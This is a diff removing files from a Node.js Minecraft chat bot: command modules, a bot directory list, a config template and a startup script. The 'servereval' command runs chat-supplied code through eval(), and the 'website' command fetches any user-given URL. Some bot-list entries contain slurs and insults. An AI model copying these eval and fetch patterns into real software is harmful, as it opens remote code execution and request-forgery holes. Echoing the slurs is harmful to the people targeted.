} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && !eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.tellraw("@a", component);
} else if (!eachBot.options.serverName !== "Savage Friends" && !eachBot.options.isSavage && eachBot.options.useChat && eachBot.options.isKaboom) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.chat.message(`&7[&7${bot.options.serverName}&7] ${bot.getMessageAsPrismarine(source.player.displayName ?? source.player.profile.name)?.toMotd().replaceAll('§','&')} &7\u203a ${args.join(' ')}`)
} else if (!eachBot.options.useChat && !eachBot.options.isSavage) {
eachBot.tellraw("@a", component);
}
})
}
}

View file

@ -1,21 +0,0 @@
module.exports = {
name: 'reconnect',
trustLevel: 1,
aliases: [
"end",
"recon",
],
description: 'reconnect the bot',
usages: [
],
execute (context) {
const bot = context.bot
const message = context.arguments.join(' ')
bot._client.end("disconnect :3")
},
discordExecute (context) {
const bot = context.bot;
bot._client.end("disconnect :3")
}
}

View file

@ -1,22 +0,0 @@
module.exports = {
name: 'refillcore',
trustLevel: 0,
aliases: [
"rc",
"refill",
],
description: 'refill the bots core',
usages: [
],
execute (context) {
const bot = context.bot
bot.core.refill()
bot.tellraw("@a", "Refilling core,...")
},
discordExecute (context) {
const bot = context.bot;
bot.core.refill();
bot.tellraw("@a", "Refilling core,...");
}
}

View file

@ -1,30 +0,0 @@
module.exports = {
name: 'reload',
trustLevel: 3,
aliases: [
],
description: 'reloads commands',
usages: [
""
],
execute (context) {
const bot = context.bot
bot.tellraw("@a", [
{ text: "Reloading ", color: "gray" },
{ text: '(', color: "gray" },
{ text: `${bot.commandManager.commandlist.length}`, color: "gold" },
{ text: ') ', color: "gray" },
{ text: 'commands', color: "gray" },
])
for (const eachBot of bot.bots) {
eachBot.commandManager.reload();
}
},
discordExecute (context) {
const bot = context.bot;
bot.discord.message.reply("Reloading Commands,.........");
for (const eachBot of bot.bots) {
eachBot.commandManager.reload();
}
}
}

View file

@ -1,56 +0,0 @@
const between = require('../util/between')
const CommandError = require('../util/command_error')
module.exports = {
name: 'tpr',
description:['teleport to a random place'],
trustLevel: 1,
aliases:['rtp', 'teleportrandom', 'randomteleport'],
usages:[""],
execute (context) {
const bot = context.bot
// const sender = context.source.player
const args = context.arguments;
const source = context.source
// if (!source.player) return
if (bot.options.isKaboom) {
x = between(-30_000_000, 30_000_000)
y = 100
z = between(-30_000_000, 30_000_000)
} else if (bot.options.isSavage) {
x = between(-4096, 4096);
y = 100
z = between(-4096, 4096);
}
// bot.tellraw("@a", `Randomly Teleported: ${sender.profile.name} to x:${x} y:${y} z:${z} `)
// bot.core.run(`minecraft:tp ${sender.profile.name} ${x} ${y} ${z}`)
if (args.slice(1).join(' ')) {
bot.tellraw("@a", [
{ text: 'Randomly Teleported: ', color: 'gray' },
{ text: args.slice(1).join(' '), color: 'blue' },
{ text: ' to ', color: 'gray' },
{ text: `${x} `, color: 'gold' },
{ text: `${y} `, color: 'gold' },
{ text: `${z}`, color: 'gold' }
])
if (bot.options.isSavage) {
bot.chat.command(`minecraft:tp ${args.slice(1).join(' ')} ${x} ${y} ${z}`)
} else if (bot.options.isKaboom) {
bot.core.run(`minecraft:tp ${args.slice(1).join(' ')} ${x} ${y} ${z}`);
}
} else {
bot.tellraw("@a", [
{ text: 'Randomly Teleported: ', color: 'gray' },
{ text: source.player.profile.name, color: 'blue' },
{ text: ' to ', color: 'gray' },
{ text: `${x} `, color: 'gold' },
{ text: `${y} `, color: 'gold' },
{ text: `${z}`, color: 'gold' }
])
if (bot.options.isSavage) {
bot.chat.command(`minecraft:tp ${source.player.profile.name} ${x} ${y} ${z}`)
} else if (bot.options.isKaboom) {
bot.core.run(`minecraft:tp ${source.player.profile.name} ${x} ${y} ${z}`);
}
}
}
}

View file

@ -1,47 +0,0 @@
const CommandError = require('../util/command_error.js');
const { stylize } = require('../util/stylizeEval');
const util = require('util');
module.exports = {
name: 'servereval',
trustLevel: 3,
aliases: [
],
description: 'run code unisolated',
usages: [
"<code>",
],
execute (context) {
const bot = context.bot;
const source = context.source;
const config = context.config;
const discordClient = context.discordClient;
const args = context.arguments;
const script = args.slice(1).join(' ');
try {
if (source.sources.console) {
bot.console.log(bot.getMessageAsPrismarine({ text: util.inspect(eval(args.join(' ')), { stylize })})?.toAnsi())
} else if (bot.options.useChat || bot.options.isSavage) {
bot.chat.message(bot.getMessageAsPrismarine({ text: util.inspect(eval(script), { stylize }).substring(0, 32700) })?.toMotd().replaceAll('§','&'))
} else {
bot.tellraw(`@a[name="${source.player.profile.name}"]`, [
{
text: util.inspect(eval(script), { stylize }).substring(0, 32700),
hoverEvent: {
action: 'show_text',
contents: [{
text: 'click here to copy the code input',
color: 'gray'
}]
},
clickEvent: {
action: 'copy_to_clipboard',
value: `${script}`
}
}
]);
}
} catch (e) {
throw new CommandError(e.toString())
}
}
}

View file

@ -1,45 +0,0 @@
const CommandError = require('../util/command_error');
module.exports = {
name: 'test',
trustLevel: 0,
aliases: [
],
description: 'Make me say something',
usages: [
"error stack <message>",
"error message <message>",
"message <message>"
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (!args && !args[0] && !args[1]) return
switch (args[0]) {
case 'error':
switch (args[1]) {
case 'stack':
throw new Error(args.slice(2).join(' '));
break
case 'message':
throw new CommandError(args.slice(2).join(' '));
break
}
// throw new Error(args.slice(1).join(' '));
break;
case "message":
bot.tellraw("@a", [
{
text: `Hello, World!, Player: ${bot.getMessageAsPrismarine(context.source.player.displayName ?? context.source.player.profile.name)?.toMotd()}§r`,
color: 'gray',
bold: false
},
{
text: ` Args: ${args.slice(1).join(' ')}`,
color: 'gray',
bold: false,
}
])
break;
}
}
}

View file

@ -1,84 +0,0 @@
const CommandError = require('../util/command_error')
const { EmbedBuilder, ButtonBuilder, ButtonStyle, ActionRowBuilder, StringSelectMenuBuilder, StringSelectMenuOptionBuilder, SlashCommandBuilder } = require('discord.js');
const { request } = require('undici');
module.exports = {
name: 'urban',
description:['urban dictionary'],
aliases:['urbandictionary'],
trustLevel: 0,
usages: [
"<definition>",
],
async execute (context) {
const source = context.source
const args = context.arguments
const bot = context.bot
const prefix = [
{ text: '[', color: 'dark_gray' },
{ text: 'Urban', color: '#B72A00' },
{ text: '] ', color: 'dark_gray'}
]
let component = [];
let term = `${args.join(' ')}`
const query = new URLSearchParams({ term });
const dictResult = await request(`https://api.urbandictionary.com/v0/define?${query}`);
const { list } = await dictResult.body.json();
if (!list.length) {
bot.tellraw('@a', { text: 'No results found', color: 'dark_red' });
}
for (definitions of list) {
component.push(prefix, [
{
text: `${definitions.definition.replaceAll('\r','').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray',
underlined: false,
italic: false,
translate:"",
hoverEvent: {
action:"show_text",
value: [
{
text: `Example \u203a \n ${definitions.example.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `Word \u203a ${definitions.word.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray',
},
{
text: `Author \u203a ${definitions.author.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `written on \u203a ${definitions.written_on.replaceAll('\r', '').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`,
color: 'gray'
},
{
text: `Rating \u203a Thumbs-Up ${definitions.thumbs_up} / Thumbs-Down ${definitions.thumbs_down}`,
color: 'gray'
}
]
},
clickEvent: {
action: 'open_url',
value: `${definitions.permalink}`
}
},
])
}
if (bot.options.useChat) {
for (const definitions of list) {
bot.chat.message(bot.getMessageAsPrismarine({ text: `${definitions.example.replaceAll('\r','').replaceAll('[', '\xa71\xa7n\xa7o').replaceAll(']','\xa7r\xa77')}\n`})?.toMotd().replaceAll("§","&"));
// bot.chat.message(definitions.example.replaceAll("\r", ""));
}
} else {
bot.tellraw(`@a[name="${source?.player?.profile?.name}"]`, component)
}
},
async discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const component = [];
}
}

View file

@ -1,39 +0,0 @@
const { EmbedBuilder } = require('discord.js');
module.exports = {
name: 'validate',
trustLevel: 1,
aliases: [
"val"
],
description: 'validate through the bot',
usages: [
""
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
const source = context.source;
if (args[0] === bot.validation.trusted) {
bot.chat.message('&2Valid Trusted hash');
}
if (args[0] === bot.validation.admin) {
bot.chat.message('&2Valid Admin hash');
}
if (args[0] === bot.validation.owner) {
bot.chat.message('&2Valid Owner hash');
}
},
discordExecute (context) {
const bot = context.bot;
const event = bot?.discord?.message
const roles = event?.member?.roles?.cache
const source = context.source;
if (roles?.some(role => role.name === `${config.discord.roles.trusted}`)) {
bot.discord.message.reply('Valid trusted user')
bot.chat.message(`Valid trusted user [${bot.discord.message.member.user.username}]`)
} else if (roles?.some(role => role.name === `${config.discord.roles.owner}`)) {
bot.discord.message.reply('Valid Owner user')
bot.chat.message(`Valid Owner User [${bot.discord.message.member.user.username}]`);
}
}
}

View file

@ -1,65 +0,0 @@
const CommandError = require('../util/command_error');
const { request } = require('undici');
module.exports = {
name: 'weather',
trustLevel: 0,
aliases: [
],
description: 'check the weather of cities',
usages: [
"<message>"
],
async execute (context) {
const bot = context.bot
const args = context.arguments;
const config = context.config;
const source = context.source;
try {
let component = [];
const weather = await request(`https://api.weatherapi.com/v1/current.json?key=${config.weatherApiKey}&q=${args.join(' ')}`);
const info = await weather.body.json();
component.push({
translate: "%s: %s\n%s: %s\n%s: %s\n%s: %s\n%s: %s\n%s: %s%s (%s%s)\n%s: %s %s %s (%s %s %s)\n%s: %s\n%s: %s",
color: config.colors.commands.tertiary,
with: [
{ text: "Location", color: config.colors.commands.primary },
{ text: `${info.location.name}, ${info.location.region}, ${info.location.country}`, color: config.colors.commands.secondary },
{ text: "Latitude", color: config.colors.commands.primary },
{ text: `${info.location.lat}`, color: config.colors.integer },
{ text: "Longitude", color: config.colors.commands.primary },
{ text: `${info.location.lon}`, color: config.colors.integer },
{ text: "Time zone", color: config.colors.commands.primary },
{ text: `${info.location.tz_id}`, color: config.colors.commands.secondary },
{ text: "Time", color: config.colors.commands.primary },
{ text: `${new Date().toLocaleTimeString("en-US", { timeZone: info.location.tz_id, })}`, color: config.colors.integer },
{ text: "Temp", color: config.colors.commands.primary },
{ text: `${info.current.temp_c}`, color: config.colors.integer },
{ text: "\u00b0C", color: config.colors.commands.secondary },
{ text: `${info.current.temp_f}`, color: config.colors.integer },
{ text: "\u00b0F", color: config.colors.commands.secondary },
{ text: "Wind speed" , color: config.colors.commands.primary },
{ text: `${info.current.wind_kph}`, color: config.colors.integer },
{ text: `kph`, color: config.colors.commands.secondary },
{ text: `${info.current.wind_dir}`, color: config.colors.secondary },
{ text: `${info.current.wind_mph}`, color: config.colors.integer },
{ text: `mph`, color: config.colors.commands.secondary },
{ text: `${info.current.wind_dir}`, color: config.colors.commands.secondary },
{ text: "Condition", color: config.colors.commands.primary },
{ text: `${info.current.condition.text}`, color: config.colors.commands.secondary },
{ text: "Humidity", color: config.colors.commands.primary },
{ text: `${info.current.humidity}`, color: config.colors.integer },
]
})
bot.tellraw("@a", component)
} catch (e) {
if (e.toString() === "TypeError: Cannot read properties of undefined (reading 'name')" && args.length !== 0) {
bot.chat.message('The location is invalid please try a valid location');
} else if (args.length === 0) {
bot.chat.message('there were no arguments detected')
} else {
bot.chat.message(`${e.toString()}`);
console.warn(e.stack);
}
}
}
}

View file

@ -1,106 +0,0 @@
const http = require('http');
const https = require('https');
const util = require('util');
const fixansi = require('../util/ansi');
const CommandError = require('../util/command_error')
module.exports = {
name: 'website',
trustLevel: 1,
aliases: [
],
description: 'look up website data',
usages: [
"<url>"
],
execute (context) {
const bot = context.bot
const args = context.arguments;
if (args.slice(1).join(' ').toLowerCase().startsWith("http://")) {
http.get(args.slice(1).join(' '), (res) => {
const { statusCode } = res;
const contentType = res.headers['content-type'];
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => { rawData += chunk; });
res.on('end', () => {
try {
bot.tellraw("@a", { text: util.inspect(rawData.toString().substring(0, 32750)), color: "dark_green" })
} catch (e) {
bot.tellraw("@a", e.toString());
}
});
}).on('error', (e) => {
bot.chat.message(`&4${e.toString()}`);
});
} else {
https.get(args.slice(1).join(' '), (res) => {
res.on('data', (d) => {
bot.tellraw("@a", { text: util.inspect(d.toString().substring(0, 32750)), color: "dark_green", })
// console.log(Object.keys(d.toString().length));
});
}).on('error', (e) => {
bot.chat.message(`&4${e.toString()}`);
});
}
},
discordExecute (context) {
const bot = context.bot;
const args = context.arguments;
const config = context.config;
let Embed;
let fix;
let ansi;
//bot.discord.message.reply('e');
if (args.join(' ').toLowerCase().startsWith("http://")) {
http.get(args.join(' '), (res) => {
const { statusCode } = res;
const contentType = res.headers['content-type'];
res.setEncoding('utf8');
let rawData = '';
res.on('data', (chunk) => { rawData += chunk; });
res.on('end', () => {
// try {
// bot.tellraw("@a", { text: util.inspect(rawData), color: "dark_green" })
ansi = bot.getMessageAsPrismarine({ text: util.inspect(rawData.toString()), color: 'dark_green'})?.toAnsi()
fix = fixansi(ansi.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
// } catch (e) {
// bot.tellraw("@a", e.toString());
//throw new CommandError(e.toString())
// }
});
}).on('error', (e) => {
//bot.chat.message(`&4${e.toString()}`);
});
} else {
https.get(args.join(' '), (res) => {
res.on('data', (d) => {
// bot.tellraw("@a", { text: util.inspect(d.toString()), color: "dark_green", })
// console.log(Object.keys(d.toString().length));
ansi = bot.getMessageAsPrismarine({ text: util.inspect(d.toString()), color: 'dark_green'})?.toAnsi()
fix = fixansi(ansi.replaceAll('`', '`\u200b'))
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
// bot.discord.message.reply('e');
});
}).on('error', (e) => {
//bot.chat.message(`&4${e.toString()}`);
//throw new CommandError(e.toString())
});
/*
Embed = new EmbedBuilder()
.setColor(`${config.colors.discord.embed}`)
.setTitle(`${this.name} Command`)
.setDescription(`\`\`\`ansi\n${fix1}\n\`\`\``)
bot.discord.message.reply({ embeds: [Embed] })
*/
}
}
}

View file

@ -1,26 +0,0 @@
const wiki = require('wikipedia')
const CommandError = require('../util/command_error')
const { EmbedBuilder } = require('discord.js')
module.exports = {
name: 'wiki',
description:['wikipedia'],
trustLevel: 0,
aliases:['wikipedia'],
usages:["<definition>"],
async execute (context) {
const source = context.source
const args = context.arguments
const bot = context.bot
try {
const page = await wiki.page(args.join(' '))
const summary = await page.intro();
bot.tellraw(`@a`, { text: `${summary}`, color: 'gray' });
} catch (error) {
if (error.toString() === "pageError: TypeError: Cannot read properties of undefined (reading 'pages')") {
bot.tellraw(`@a`, { text: 'Definition not found!', color: 'dark_red' })
} else {
bot.tellraw(`@a`, `${error.toString()}`)
}
}
}
}

View file

@ -1,29 +0,0 @@
const { parseString } = require('xml2js');
const CommandError = require('../util/command_error')
const util = require('util');
module.exports = {
name: 'xml',
trustLevel: 3,
aliases: [
],
description: 'eval xml shit',
usages: [
"<xml code>"
],
execute (context) {
const bot = context.bot;
const args = context.arguments;
parseString(args.slice(1).join(' '), function (err, result) {
if (err) throw new CommandError(err.toString())
bot.tellraw("@a", [
{
text: "Result \u203a \n",
color: "gray"
},
{
text: `${util.inspect(result)}`
}
])
});
}
}

View file

@ -1,681 +0,0 @@
[
{
"name": {
"text": "HBot",
"color": "aqua",
"bold": false
},
"authors": [
"hhhzzzsss"
],
"exclaimer": "HBOT HARRYBUTT LMAOOOOOOOOOOOOOOOOO",
"foundation": "java/mcprotocollib",
"prefixes": [
"#"
]
},
{
"name": [
{
"text": "FBot",
"color": "gold"
}
],
"authors": [
"popbob/aaa"
],
"exclaimer": "",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"+"
]
},
{
"name": [
{
"text": "Hydra",
"color": "dark_red"
}
],
"authors": [
"popbob/aaa"
],
"exclaimer": "",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"+",
"$",
"h:",
"hydra:"
]
},
{
"name": [
{
"text": "JokerBot",
"color": "green"
}
],
"authors": [
"zXzy",
"12alex12"
],
"exclaimer": "",
"foundation": "nodejs/mineflayer",
"prefixes": [
"\\"
]
},
{
"name": {
"text": "CddehhBot",
"color": "red",
"bold": false
},
"authors": [
"CaydennO1",
"spyingcreeper09"
],
"exclaimer": "WHAT IS THIS GOOFY AAAH FUCKING BOT FUCKING PIECE OF RETARDED ASS SHIT BOT ITS SO FUCKING SHIT I WANNA IPFILTER IT WITH FUCKING CHOMENS",
"foundation": "nodejs/mineflayer",
"prefixes": [
","
]
},
{
"name": {
"text": "TurtleBot",
"color": "green",
"bold": false
},
"authors": [
"TurtleKid"
],
"exclaimer": "nmp when?",
"foundation": "nodejs/mineflayer",
"prefixes": [
"\\"
]
},
{
"name": {
"text": "NothingBot",
"color": "dark_red",
"bold": false
},
"authors": [
"Yaode_owo"
],
"exclaimer": "uwu",
"foundation": "nodejs/mineflayer",
"prefixes": [
"?"
]
},
{
"name": {
"text": "SC09Bot",
"color": "dark_gray",
"bold": false
},
"authors": [
"spyingcreeper09"
],
"exclaimer": ":3",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"@"
]
},
{
"name": {
"text": "HorizonBot",
"color": "gold",
"bold": false
},
"authors": [
"ZenZoya",
"Yaode_owo",
"Parker2991",
"and others"
],
"exclaimer": "originally called §5FleamBot§r",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"^"
]
},
{
"name": {
"text": "64Bot",
"color": "gold",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "NINTENDO 64?!?!??!?! 69Bot when??????",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"w="
]
},
{
"name": {
"text": "Nebulabot",
"color": "dark_purple",
"bold": false
},
"authors": [
"IuCC"
],
"exclaimer": "the void",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": [
{
"text": "Prism",
"color": "#00FF9C",
"bold": true
},
{
"text": "Bot",
"color": "white",
"bold": true
}
],
"authors": [
"IuCC"
],
"exclaimer": "prismarine :3",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": {
"text": "SharpBot",
"color": "aqua",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "sharp as in the tv? idfk im out of jokes also the first c# bot on the list??",
"foundation": "C#/MineSharp",
"prefixes": [
"s="
]
},
{
"name": {
"text": "MoonBot",
"color": "red",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "stop mooning/mooing me ",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"m="
]
},
{
"name": {
"text": "TableBot",
"color": "yellow",
"bold": false
},
"authors": [
"12alex12"
],
"exclaimer": "TABLE CLOTH BOT?!?! ",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"t!"
]
},
{
"name": [
{
"text": "Evil",
"color": "dark_red",
"bold": false
},
{
"text": "Bot",
"color": "dark_purple"
}
],
"authors": [
"FusseligerDev"
],
"exclaimer": "",
"foundation": "Java/Custom",
"prefixes": [
"!"
]
},
{
"name": {
"text": "SBot Java",
"color": "white",
"bold": false
},
"authors": [
"evkc"
],
"foundation": "Java/MCProtocolLib",
"prefixes": [
":"
]
},
{
"name": {
"text": "SBot Rust",
"color": "white",
"bold": false
},
"authors": [
"evkc"
],
"foundation": "Rust",
"prefixes": [
"re:"
]
},
{
"name": {
"text": "Z-Boy-Bot",
"color": "dark_purple",
"bold": false
},
"exclaimer": "Most likely skidded along with kbot that the dev used",
"authors": [
"Romnci"
],
"foundation": "NodeJS/mineflayer or Java/mcprotocollib idfk",
"prefixes": [
"Z]"
]
},
{
"name": {
"text": "ABot",
"color": "gold",
"bold": true
},
"exclaimer": "not used anymore (replaced by V2)",
"authors": [
{
"text": "_yfd",
"color": "light_purple"
}
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"<"
]
},
{
"name": {
"text": "ABot-V2",
"color": "gold",
"bold": true
},
"exclaimer": "",
"authors": [
{
"text": "_yfd",
"color": "light_purple"
}
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"<"
]
},
{
"name": {
"text": "FardBot",
"color": "light_purple",
"bold": false
},
"authors": [
"_yfd"
],
"exclaimer": "bot is dead lol",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"<"
]
},
{
"name": {
"text": "ChipmunkBot Java",
"color": "green",
"bold": false
},
"authors": [
"_ChipMC_"
],
"exclaimer": "chips? also shoutout to chip and chayapak for helping in the rewrite",
"foundation": "Java/MCProtocolLib",
"prefixes": [
"'",
"/'"
]
},
{
"name": {
"text": "ChipmunkBot NodeJS",
"color": "green",
"bold": false
},
"authors": [
"_ChipMC_"
],
"foundation": "NodeJS/Node-Minecraft-Protocol"
},
{
"name": {
"text": "TestBot",
"color": "aqua",
"bold": false
},
"authors": [
"Blackilykat"
],
"foundation": "Java/MCProtocolLib",
"prefixes": [
"-"
]
},
{
"name": {
"text": "UBot",
"color": "gray",
"bold": false
},
"authors": [
"HexWoman"
],
"exclaimer": "UwU OwO",
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"\""
]
},
{
"name": {
"text": "ChomeNS Bot Java",
"color": "yellow",
"bold": false
},
"authors": [
"chayapak"
],
"exclaimer": "wow its my bot !! ! 4374621q43567%^&#%67868-- chayapak \n rip ChomeNS bot i wonder what chayapak is currently doing -- Parker2991",
"foundation": "Java/MCProtocolLib",
"prefixes": [
"*",
"cbot ",
"/cbot "
]
},
{
"name": {
"text": "ChomeNS Bot NodeJS",
"color": "yellow",
"bold": false
},
"authors": [
"chayapak"
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"*",
"cbot",
"/cbot"
]
},
{
"name": {
"text": "RecycleBot",
"color": "dark_green",
"bold": false
},
"foundation": [
"MorganAnkan"
],
"exclaimer": "nice bot",
"language": "NodeJS/node-minecraft-protocol",
"prefixes": [
"="
]
},
{
"name": {
"text": "neobot",
"color": "blue",
"bold": false
},
"exclaimer": "n e o b o t ;oslkdfj;salkdfj;ladsjf",
"authors": [
"mirkokral"
],
"foundation": "java/MCProtocolLib",
"prefixes": [
"_"
]
},
{
"name": {
"text": "ManBot",
"color": "dark_green",
"bold": false
},
"exclaimer": "(more like men bot :skull:) OH HAAAAAAAAAAAAAAIIILL LOGINTIMEDOUT",
"authors": [
"Man/LogintimedOut"
],
"foundation": "NodeJS/mineflayer",
"prefixes": [
"(Note:I dont remember!!)"
]
},
{
"name": [
{
"text": "Useless",
"color": "red",
"bold": false
},
{
"text": "Bot",
"color": "gray",
"bold": false
}
],
"exclaimer": "it isnt useless its a good bot................",
"authors": [
"IuCC"
],
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": [
{
"text": "SnifferBot",
"color": "gold",
"bold": false
}
],
"exclaimer": "sniff sniff FNFBoyfriendBot simp",
"authors": [
"popbob/aaa"
],
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
">"
]
},
{
"name": [
{
"text": "XBot",
"color": "dark_purple",
"bold": false
}
],
"exclaimer": "",
"authors": [
"popbob/aaa"
],
"foundation": "ts-Node/Node-minecraft-protocol",
"prefixes": [
"$"
]
},
{
"name": [
{
"text": "Kitty",
"color": "gold",
"bold": false
},
{
"text": "Corp",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "yellow",
"bold": false
}
],
"exclaimer": "3 words ginlang is gay",
"authors": [
"ginlang , G6_, ArrayBuffer, and i guess more??"
],
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"^"
]
},
{
"name": [
{
"text": "FNF",
"color": "dark_purple",
"bold": false
},
{
"text": "Boyfriend",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "dark_red",
"bold": false
},
{
"text": " nmp",
"color": "black",
"bold": false
}
],
"authors": [
{
"text": "Parker2991",
"color": "dark_red"
},
{
"text": " _ChipMC_",
"color": "dark_green",
"bold": false
},
{
"text": " chayapak",
"color": "yellow",
"bold": false
},
{
"text": " _yfd",
"color": "light_purple",
"bold": false
},
{
"text": "popbob/aaa",
"color": "gold"
},
{
"text": "MorganAnkan",
"color": "dark_green"
},
{
"text": "TurtleKid",
"color": "green"
}
],
"exclaimer": "v4.0x - current",
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"~",
"fnfbfbot ",
"",
"",
"█"
]
},
{
"name": [
{
"text": "FNF",
"color": "dark_purple",
"bold": false
},
{
"text": "Boyfriend",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "dark_red",
"bold": false
},
{
"text": " legacy",
"color": "green",
"bold": false
}
],
"authors": [
{
"text": "Parker2991",
"color": "dark_red"
},
{
"text": " _ChipMC_",
"color": "dark_green",
"bold": false
}
],
"exclaimer": "1037 LINES OF CODE WTFARD!??! also this version is in console commands only",
"foundation": "NodeJS/mineflayer",
"prefixes": []
}
]

View file

@ -1,62 +0,0 @@
prefixes:
- "!"
- "fnfbfbot!"
discord:
token: "discord token here"
prefix: "!"
invite: "discord invite here"
roles:
trusted: "trusted"
admin: "admin"
owner: "FNFBoyfriendBot Owner"
core:
name: {"translate":"outOfMemory.message"}
area:
start:
x: 0
y: 0
z: 0
end:
x: 15
y: 0
z: 15
commandSetMessage: false
keys:
trusted: "trusted key here"
admin: "admin key here"
owner: "owner key here"
weatherApiKey: ""
colors:
integer: "gold"
discord:
embed: "#000000"
error: "#FF0000"
commands:
primary: "dark_blue"
secondary: "blue"
tertiary: "dark_gray"
console:
prefix: "c."
filelogger: false
bots:
- host: "localhost"
username: "FNFBoyfriendBot"
usernameGen: true
version: "1.20.2"
serverName: "localhost"
reconnectDelay: 6000
channelId: "discord channel id here"
logging: false
useChat: false
isKaboom: true
isSavage: false
isCreayun: false

View file

@ -1 +0,0 @@
[]

View file

@ -1,10 +0,0 @@
{
"bot": {
"buildstring": {
"version": "v6.0.6",
"build":"1060",
"codename":""
},
"source": "https://code.chipmunk.land/Parker2991/FridayNightFunkinBoyfriendBot/"
}
}

File diff suppressed because it is too large Load diff

View file

@ -1,35 +0,0 @@
const createBot = require('./bot.js');
const readline = require('readline');
const loadModules = require('./util/loadModules');
const js_yaml = require('js-yaml');
const fs = require('fs');
const path = require('path');
const { Client, GatewayIntentBits } = require('discord.js');
const { MessageContent, GuildMessages, Guilds } = GatewayIntentBits;
const discordClient = new Client({ intents: [Guilds, GuildMessages, MessageContent] });
console.log('Starting FNFBoyfriendBot');
if (!fs.existsSync(path.join(__dirname, "../config.yml"))) {
console.log("Config not found creating config from the default config");
fs.copyFileSync(
path.join(__dirname, "./data/default_config.yml"),
path.join(__dirname, "../config.yml")
)
}
try {
config = js_yaml.load(fs.readFileSync(path.join(__dirname, '../', 'config.yml')))
} catch (e) {
console.log(e.stack);
}
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
})
if (config.discord.enabled) discordClient.login(config.discord.token);
const bots = [];
for (const options of config.bots) {
const bot = new createBot(options, config);
bots.push(bot);
bot.bots = bots;
loadModules(bot, options, config, discordClient);
bot.console.readlineInterface(rl);
}

View file

@ -1,13 +0,0 @@
const readline = require('readline');
function boot (bot, options, discordClient, config) {
bot.on("packet.login", (data) => {
if (bot.options.isCreayun) return
if (new Date().getDay() === 5) {
bot.chat.message('Gettin\' freaky on a friday night!');
} else {
bot.chat.message('&9FNF&3Boyfriend&1Bot &fcreated by &4Parker&02991');
}
}) // &9 &3 &1
}
module.exports = boot;

View file

@ -1,142 +0,0 @@
const loadPrismarineChat = require('prismarine-chat');
const KaboomChatParser = require('../util/ChatParsers/Kaboom');
const ChipmunkModChatParser = require('../util/ChatParsers/ChipmunkMod');
const CreayunChatParser = require('../util/ChatParsers/Creayun');
const sayConsoleChatParser = require('../util/ChatParsers/sayConsole');
const VanillaChatParser = require("../util/ChatParsers/VanillaChat");
const yfdCustomChatParser = require('../util/ChatParsers/yfdCustomChat');
function tryParse (json) {
try {
return JSON.parse(json)
} catch (error) {
return { text: '' }
}
}
//what was changed??
function chat (bot, options, config) {
let ChatMessage
bot.on('registry_ready', registry => {
ChatMessage = loadPrismarineChat(registry)
})
if (options.isSavage || options.isCreayun) {
bot.chatParsers = [CreayunChatParser, sayConsoleChatParser]
} else {
bot.chatParsers = [KaboomChatParser, ChipmunkModChatParser, VanillaChatParser, sayConsoleChatParser, yfdCustomChatParser]
}
bot.on('packet.profileless_chat', packet => {
const message = tryParse(packet.message)
const sender = tryParse(packet.name)
bot.emit('profileless_chat', {
message,
type: packet.type,
sender
})
switch (packet.type) {
case 1:
bot.emit('message', { translate: "chat.type.emote", with: [ sender, message ]})
break
case 2:
bot.emit('message', { translate: "commands.message.display.incoming", with: [ sender, message], color: "gray", italic: true })
break
case 3:
bot.emit('message', [{ translate: "commands.message.display.outgoing", with: [ sender, message ], color: "gray", italic: true }])
break
case 4:
bot.emit('message', [message]);
break
